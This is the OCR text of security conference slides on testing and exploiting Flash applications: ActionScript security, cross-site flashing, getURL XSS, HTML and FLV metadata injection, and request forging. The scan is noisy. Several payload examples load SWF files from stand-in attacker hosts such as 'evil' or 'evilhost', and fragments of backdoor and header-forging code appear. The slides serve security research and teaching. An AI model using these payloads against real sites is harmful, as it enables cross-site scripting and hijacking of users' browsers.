Testing and exploiting
Flash applications




® |ntroduction

® Definitions




The speaker

- ® works for SektionEins as security consultant and researcher.
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Motivation for this talk

® Flash is widely used, the plugin is often activated

® Flash has some very funny vectors in sense of security

® |nteresting bugs and design flaws in player and media servers :)
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Some definitions

SWF: Small Web Format / ShockWave Flash

FLA: Proprietary Flash source files used by Adobe Flash IDE

FLV: Flash Video

AS: ActionScript
- ® AlR:Adobe Integrated Runtime, Flash/Flex/HTML Desktop
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Public Research

Eye On Security (Aug 02)
The Flash! Attack
Flash Movie with ActionScript function: getURL(‘javascript: evilcode; ")

Scan Security Wire (Apr 03)
Misuse of Macromedia Flash Ads clickTAG




Public Research

Martin Johns, Kanatoko Anvil (Jan 07)
Anti-DNS Pinning with AS3
Flash-based scanner (DNS rebinding)
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Stefano di Paolo (Mai 07)




Flash and




What is Flash?

Proprietary integrated development environment for building
multi media application from Adobe (former Macromedia)

Permission to build SWF generators but no player/renderer
Mixture between graphical objects, movies, audio and ActionScript
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Standard Flash Apps

Princeton scientists Hack Diebold
YouTube - Princeton scient

Slgn Up |

Videos Categories Channels Community

What are the most popular videos _ Just follow the
little red dots!

Princeton scientists Hack Diebold
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What is Flex?

® SDK and IDE for technologies to developing and deploying
cross platform RIAs




What is AlIR?

® Adobe Integrated Runtime (former Codename Apollo)

® Cross-OS runtime environment for building RIA
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AIR applications

Pownce aipha2z BB
B Message <) Link [B File [ Event

huh?! pownce gibt's ja auch noch. Ist bei mir schon
[E Message by markus k., 5 days ago

a

As | said: Piownce is for Information flow in Tema
[E Message by Oliver G., Jul 14th

hat sich mal Manuelas Livestream geklont und
[ Message by Eric E., Jul 12th

Hier ist definitiv zu wenig los. Pownce ist tod, es
[E Message by Eric E., Jul Bth

Hier gibt es nix zu sehen. Grilke aus Wien.
oo Link by Eric E., Jul 6th

Es macht eigentlich Gberhaupt keinen Sinn seinen
[E* Message by Eric E., Jul Gth

Raubkopiert... eieiei... Das mit der Rechtschreibung
[E* Message by Eric E., Jul Gth

Jetzt werd ich schon raupkopiert...
[E* Message by Eric E., Jul Gth

Hat geklappt! :)
oa Link by Eric E., Jul 6th

Mal Schauen, ob ich das besser kann als der Herr
oo Link by Eric E., Jul 6th
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E hippie alarm at the metalab: der hippie d hippie und sind da

' den chef am kiiner hbf gatroffen, ungewshnliches bild, kaum erkannt

i Ich glaub ich n i der di sa d wie hier in Hamburg.

Esse asia-mampf

F,. Antwort) Ich bin zur Probe. " "ne SMS!

u Gleich gibt's wieder Internet-TV .

ﬁ Das won meiner endglitig den Dienst quittiert. Nach & Wochen bei nem neuen Rechner.




Flash movies

Flash movies in general are timeline based
Such a movie is referenced by level numbers

Every movie is referenced by a level number and can be

accessed by _levelN object ( _levelO is always the first




General Flash abilities

® Flash
® can forge binary and HT TP requests

® |oads and executes external Flash movies and other data
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SWF Interpreter

Browser

SWF Byte Code Interpreter

SWF Byte Code




ActionScript

Scripting language based on ECMA

Primarily used for development of Flash application to use
with player/plugin or AIR

Gets compiled together with media data into SWF files
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ActionScript:
Version 2 vs. Version 3

Most Flash apps still use AS2

Only rudimentary free and open decompiler for AS3
available by now (Bytecode differs alot)

-~ ® AS2 and AS3 are fundamentally different regarding security




ActionScript
security model

® Since Flash Version 7 a security model is implemented in
order to:

® Control and block interaction and access among
- external movies (Same Origin Policy) by sandbox models
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Shared Objects:
Overview

Local data storage (analog to browser cookies)
Store 100 kb per host name

Dependent from host/domain, path and film name, i.e.:
/Users/fukami/Library/Preferences/Macromedia/Flash\

=
C

s-haredObijec random|] / “ube.co;




Local connection objects

Local connection objects are used to enable two movies to
communicate with each other.

Can be used to enable communication between two
different apps running Flash (i.e. browser and standalone
.player onh__one client maclhme)_.
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Embedding Flash

SWF objects can be embedded in HTML using OBJECT and
EMBED tags. They can also directly loaded via browser
location bar or within FRAME/IFRAME tags.




SWF <=> Browser

AllowScriptAccess attribute (always | never | ssmedomain )
(SWEF version >= 8)

- allows or denies a movie to use JavaScript

- Default is SameDomain

-ExanuﬂetgetURL('javascript: alert(123);');

<obiject id=lfool iwidth=22004 height=2150">
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Variable handling

® Type checks only during compile time, type casts during run
time

® Private methods only get checked during compile time




Input parameter

® Several ways possible to load Flash movies with variables:

® URL QueryString:
http://host/movie.swf?var | =val | &var2=val2




“Register globals”
The Flash Way

o UninitiaIiZEd Variab|eS movieClip 328 _ Packages.Locale {
it : #initels
similar to PHP “register it (1 global.Locale) {

globals” var vl = function (on_load) {

var v5 = new XML();

var v6 = this;

v5.onLoad = function (success) {
if (success) {

® Every uninitialized variable

I 1 trace('Locale loaded xml');
Wlth gIObaI SCOPe IS a var v3 = this.xliff.file.body.$trans_unit;
potential threat: var v2 = 0;
K while (v2 < v3.length) {
- root. Locale.strings[v3[v2]. resname] = v3

[v2].source. text;

- _gIC)baI>l< ++v2;

X }
T _IeveIOo on_load( );
i % } else {}
}i
if (_root.language != undefined) {
o Easy to add or mOdIf)’ Locale.DEFAULT LANG = _root.language;
}
Parameters in the query v5.load(Locale.DEFAULT LANG + '/player ' +
Locale.DEFAULT LANG + '.xml');

http://URL?language=http://evil



Sandbox Security Model

Sandboxes allow movies to a.com Sandbox b.com Sandbox
share or separate runtime

environments. @ i @ @ @

Movies loaded in the same al.swf  a2.swf bl.swf  b2.swf
sandbox, share everything:
- Variables

- Objects
- Classes
AllowDomain function: - - - -
- Static AS Function filea3  file a4 fileb3  file b4

- Gives access to the same
sandbox to external movies

Example:
System.Security.allowDomain(“b.com”)



Cross Domain Policies

® By default, Flash movies running in a web browser are not
allowed to load data from another host name than the one it’s

originated from:

http://dom.tld/movie.swf ===> Access:
http://dom.tld/dir/movie | .swf v
http://dom.tld/dir2/movie2.swf

http://dom.tld:8 | /movie4.swf

v
https://dom.tld/movie3.swf X
)
http://www.dom.tld/movie5.swf X




Player Security Settings

® |ocally loaded SWF movies are not allowed to access data in network
(Flash >= 8)

® Must be explicitly allowed by file and/or directory name

® Settings Manager (at Adobe!) must be used for global security settings

Adobe Flash Player™ Settings Manager Adobe Flash Player™ Settings Manager

Global Security Settings Global Storage Settings

Some websites may access information from other sites using an older Specify the amount of e that websites you haven't v et visited can
rity . T i &

use to stone information on y our comp uter.

website atternpts to use the older sy stem to access information:

L Alway s ask &) Al ay s allow & Always deny " 100 KB
Mewver Ask Again
Al ay s trust files in these locations:

*| Allow third-party Flash content to stone data on y our computer.

http://www.macromedia.com/support/documentation/en/flashplayer/help/settings _manager.html



Player Security Settings

® Allow or deny websites to:

® access the computers camera or microphone
® store and read local data (incl. limit)

® use older security rules (rules from older Flash version)
with or without notification

® |t’s possible to apply settings globally or on site base

Adobe Flash Player Settings Adobe Flazh Player Settings

Privacy Local Storage

Ak macnomed ia.comio access your How much intormation can
cameraand microphong ? macromedia.comstome on your computer?

100 KB
) Allow o) = Dany §,

Fee e miber | Advanced. .. | MeverAskAgain  Currenthy used. QKB

:_'_, % | Closeo | .‘ % | Close |




Flash major versions

® Windows / Mac OS X/ Linux / Solaris: Player V. 9
® Windows 95, NT / Mac OS 9: Player V.7
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Flash exploitation and




Client Side Attacks

® C(Client side Flash apps can be used for different attacks:

® (Classical XSS and overwrite

Cross Site Flashing (aka XSF aka ““The Dark Side Of Cross
Movie Scripting”)

Forging of HTTP Requests and CSRF
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getURL und XSS (AS2)

® The AS2 function getURL can be used to load a URl into
the browser window:

getURL( 'URI',"' targetFrame');

® |t’s also possible to call JavaScript within the same domain




XSF

® XSF occurs when:

® one movie can load other movies from different domains i.e. by
loadMovie function.Access to sandbox is possible.

® an HTML page uses JavaScript for movie scripting and calls:

~® GetVariable to access public and static object from




Free/0OS Flash
Test/Devel Tools

Flare - decompiler
http://www.nowrap.de/flare.html

MTASC - compiler
http://www.mtasc.org/

Flasm - disassembler
http://flasm.sourceforge.net/
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Useful Commands

Decompiling movie.swf to movie.flr
flare movie.swf

Compiling an ActionScript movie.as to movie.swf
mtasc -version n -header 10:10:20 -main -swf \

movie.swf movie.as

Disassembling to SVVF Pseudo Code:

flasm -d movie.swf
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asfunction:
A pseudo protocol

® asfunction is a special protocol for URLs in HTML text
fields to link to ActionScript functions

® Syntax:
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HTML in Flash

® Objects of type TextField can render simple HTML:

tf.html = true
tf.htmlText = '<sometag>text</sometag>'




HTML in Flash

® Example of flawed code:

p display str = _root.buttonText;

this.showText (this.p display str);




HTML in Flash:
A-Tag

® Examples with use of A-Tag:

® Direct XSS:

<a href='javascript:alert(123)'




HTML in Flash:

& test. swi (Oggetto applicationfx-shockwave-flash) - Moz|lla Flrefos

File Modifica Visualizra Crondlogia Segnalibr Strumeéntl  Guida

vitsd="%3CIimgW20src="N0p:ffar.tack. erndmlashevilB. swih%3IEW20Test | =

QRS Lele 1 e O L R i el e s Ui L R o e

i i i
Healg

& ek

sarch Freferences Shell Macro Windows

CE

randbox Securlity Violation
Soript URL interrupted (AllowSa:

http://url?’buttonText=<img src="http://evil/evil.swf'>




HTML in Flash:
IMG-Tag

® FEye On Security example XSS.as:

class XSS {
public static function main(){
getURL( ' javascript:evilcode') ;




HTML in Flash:
IMG-Tag

= test.swf (Oggetto applicationfx-shockwave-flash) - Mozilla Firefox

File Modifica Yisualizza Cronologla Segnalibrd  Strumentl  Guida
htbpoirl2 £.0.0. L ~stefano/mdflashitest.swi fsd=%3LImgPel0src="hitp:lla | = =

Livrem iEnm e o il e oSy ounchel ines
Tewd [mpe Funciion
Texl

Ir-.i' 020 e e e I e R L U e 2 1 |£:_j

] domain; 127.0.0.1

http://url?’buttonText=<img src="http://evil/evil.swf'>




HTML in Flash:
IMG-Tag

® When trying to inject a JavaScript URL inside an IMG tag nothing will
happen. Flash is checking for extensions such as “.jpg’ or “.swf’.

® A try with “javascript.” - with

i

jpg’ extension:




PDNF in AS2

® | oad* Funktionen:

® JloadVariables('url', level )

LoadMovie ( 'url', target )




PDNF in AS2

® FEvery PDNF (Potentially Dangerous Native Function) allows the
asfunction: pseudo protocol. Code like

loadMovie(_root.mURL + '/movie2.swf');
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PDNF - FLV Video Player
Flash Apps

® Flash movies often used the NetStream objekt to play FLV
video data:

NetStream.play( 'http://host/movie.flv"')




PDNF - FLV Metadata

Metadata Format is in AMF (ActionScript Message Format)
binary format. It’s described on Adobes website.

Metadata is a set of data describing several video properties




PDNF - FLV Metadata
Editors

® flvtool2: Ruby FLV Editor
http://rubyforge.org/projects/flvtool2/

LV Editor
/1 S

® Perl Paket FLVInfo: Per| Package F
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PDNF - FLV Metadata
Injection

® When aflv file is loaded there is an event handler called
“onMetadata” which parses metadata and gives access to the
objects it represents.

Some of the thlngs an attacker could do W|th Metadata is the




PDNF - FLV Metadata
Injection

=

File Tree

Add | Delete

N‘ lastlkeyframetimestamp
N‘ height Type NUMEER

i\:}‘ etz Mame [pdideodatarate
hasMetaclata
’j' 208.28385D-32OG2?24|

{_ . } lkeyframes Value
.. | times

.. Hfilepositions

{. } audiocodecic
N‘*ﬂ'dendatarate
j\[‘ curation

i\[‘ hasCueFoints

N wicth

( . ) onLastiecond Cancel




PDNF - FLV Metadata
Injection

File Tree

Add | Delete

‘N‘ lastlkeyframetimestamp -
N e me s - «— Jype Change
‘N‘filegize Mame [videodatarate

N‘ hasMetadata

{—' }li" frames value <ima src="http: /fevilhost fewvil 7. swl' =

.. |Times
.. | Tilepositions

Value Change

Cancel




PDNF - FLV Metadata
Injection

test.swf (Oggetto application/x-shockwave-flash) - Mozilla Firefox

3
E

ile  Modifica WVisualizza Cronologia Segnalibri Strumenti  Guida

|_n_\. || http:/127.0.0.1/~stefano/hd/flash/test.swf?sd=%3Cimg%20src="http://a | v | [# |G|v

Lorem ipsum debor sit ameLobjundelined
Test [ty pe Function]
Test

= T pagiarsul S Erv e L SO PO R POTLE

domain: 127.0.0.1

Trasferimento dati da at.tack.er...




PDNF - Music Player

Several mp3 Flash players are used on the web. ID Tags are
commonly used in mp3 in order to set informations (genre,
author, title ...)

If a mp3 file could be loaded from an malicious location, ID3
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PDNF - XML.load()

® XML files are often used to load data and definitions into
Flash movies, i.e.

-1




Modifying Shared Objects

® SharedObijects functions and variables

® When functions and variables are used in order to store
data from a SharedObiject to an attribute, it could be

possible to steal such data by using javascript GetVariable or
by calling some specific function with one of the techniques

previously seen.




Backdooring Flash

Use ActionScript to build a payload:

class Backdoor {
function Backdoor () {

ic function main(
b (e S Bkl b - "T-!if-'f-




Forging HTTP requests

Example ActionScript:

class forge headers {
function forge headers() {

}

- static function main(mc) {

py




Flash based
attack back channels

® The idea: remote controlling of browser (like Backframe/BeEF)

® Payloads can be written using JavaScript,AS2 or AS3

® Basically its a client side loader and a server side controll server
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Sockets in Flash (AS3)

® Excerpt from the ActionScript 3 documentation:

“The Socket class enables ActionScript code to make
socket connections and to read and wrlte raw blnary data.



http://www.vakuum.net/
http://www.vakuum.net/

Sockets in Flash (AS3)

® Design flaw in ActionScript 3 socket handling allows to probe for
open TCP ports without DNS rebinding, bypassing the Flash
FRE A A



http://scan.flashsec.org/
http://scan.flashsec.org/

Security on AIR

AIR applications can be build with HTML, Flex and/or Flash

All-or-none Security Policy

Many PNDF from AS2 are gone, (i.e. getURL), new are
padded i alehile alcElebtream, altaocket)
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abcdump.exe:
A basic AS3 decompiler

® Built onTamarin, decompiles to pseudo code. Example:

$ echo 'print("hello, world")' > hello.as
$ java -jar utils/asc.jar -import core/builtin.abc hello.as

$ utils/abcdump.exe hello.abc

i
function scriptOS$init():* /* disp id 0%*/

// local count=2 max scope=1 max stack=2 code len=15




Things to look for

e RTMP/AMF: Buffer overflows

® Data handling of various media server and plugins

® Breaking the sandbox




Links and resources

Eye On Security: Bypassing JavaScript Filters — the Flash! Attack
http://eyeonsecurity.org/papers/flash-xss-description.htm

Scan Security Wire: Misuse of Macromedia Flash Ads click TAG
http://marc.info/?I=bugtraqg&m=105033712615013&w=2

Stefan Esser: Poking new holes with Flash Crossdomain Policy Files
http://www.hardened-php.net/library/
poking_new_holes_with flash_crossdomain_policy_files.html

itect: Backdooring Flash

o B
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http://eyeonsecurity.org/papers/flash-xss-description.htm
http://eyeonsecurity.org/papers/flash-xss-description.htm
http://marc.info/?l=bugtraq&m=105033712615013&w=2
http://marc.info/?l=bugtraq&m=105033712615013&w=2
http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html
http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html
http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html
http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html
http://www.gnucitizen.org/blog/backdooring-flash-objects
http://www.gnucitizen.org/blog/backdooring-flash-objects
http://www.securiteam.com/securityreviews/5KP0M1FJ5E.html
http://www.securiteam.com/securityreviews/5KP0M1FJ5E.html
http://www.jumperz.net/index.php?i=2&a=3&b=3
http://www.jumperz.net/index.php?i=2&a=3&b=3
http://www.vakuum.net/
http://www.vakuum.net/

Links and resources

Julien Couvreur: Cross-domain AJAX using Flash
http://blog.monstuff.com/archives/000280.html

Adobe: ActionScript Language Reference

http://livedocs.adobe.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/js/html/
wwhelp.htm?href=Part_ASLR.html

Adobe: Flash Remoting MX
http://livedocs.adobe.com/flashremoting/mx/Using_Flash_Remoting_ MX/intro2.htm

®  OSFlash:AMF - ActionScript Message Format
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http://blog.monstuff.com/archives/000280.html
http://blog.monstuff.com/archives/000280.html
http://livedocs.adobe.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/js/html/wwhelp.htm?href=Part_ASLR.html
http://livedocs.adobe.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/js/html/wwhelp.htm?href=Part_ASLR.html
http://livedocs.adobe.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/js/html/wwhelp.htm?href=Part_ASLR.html
http://livedocs.adobe.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/js/html/wwhelp.htm?href=Part_ASLR.html
http://livedocs.adobe.com/flashremoting/mx/Using_Flash_Remoting_MX/intro2.htm
http://livedocs.adobe.com/flashremoting/mx/Using_Flash_Remoting_MX/intro2.htm
http://osflash.org/documentation/amf
http://osflash.org/documentation/amf
http://fukami.vakuum.net/archives/2007/07/10/how-to-build-a-very-basic-as3-decompiler-using-tamarin-on-non-win32-systems/
http://fukami.vakuum.net/archives/2007/07/10/how-to-build-a-very-basic-as3-decompiler-using-tamarin-on-non-win32-systems/
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